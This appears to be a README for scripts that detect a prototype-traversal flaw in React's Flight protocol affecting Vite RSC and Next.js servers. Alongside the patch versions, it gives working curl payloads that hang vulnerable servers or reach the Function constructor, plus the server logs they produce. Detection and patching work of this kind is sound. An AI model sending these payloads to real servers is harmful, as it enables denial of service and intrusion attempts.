Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com

Or to do both, just do bash ./detect.sh https://example.com

Both scripts accept an optional timeout parameter (default 3s for Vite, 5s for Next.js).

How Vite detection works

Sends x-rsc-action header with $1:toString payload. Vulnerable servers hang indefinitely; patched servers respond normally. First checks for RSC endpoint (expects HTTP 500 on invalid action).

How Next.js detection works

Discovers server action IDs from page response (pattern $ACTION_ID_<hash>), then sends:

curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

Vulnerable servers hang; patched servers respond quickly.

Patching

Next.js: Upgrade to 16.0.7, 15.5.7, or 15.4.8
React (Vite RSC): Upgrade to 19.0.1+, 19.1.2+, or 19.2.1+

Vulnerability details

React's Flight protocol allows prototype chain traversal via chunk references. The getOutlinedModel function iterates through reference paths without hasOwnProperty checks:

for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

This allows $1:constructor:constructor to traverse {}.constructor.constructor → Function.

Manual testing (Vite RSC)

Endpoint: Any path with x-rsc-action header
Action ID: 710363d987f5#loginUser (or any valid server action)

PoC: Invoke Function Constructor

curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

Vulnerable: Internal Server Error
Patched: Normal response

Note that you will get a 500 error on a patched server if your x-rsc-action IDs are wrong. It's just that the server logs will differ.

Server logs (vulnerable, always)

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

The Function constructor was invoked via .then() when the object was awaited. V8 passes resolve/reject functions as args, which stringify to function () { [native code] } - hence the syntax error.

Server logs (patched, invalid x-rsc-action)

Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

No server logs show up with a valid x-rsc-action. You can find the correct x-rsc-action by running a real server action and capturing the request in dev tools.

Notes

The $1:toString payload hangs vulnerable servers indefinitely - this is what the detection scripts use. I've tried just about everything but can't get RCE.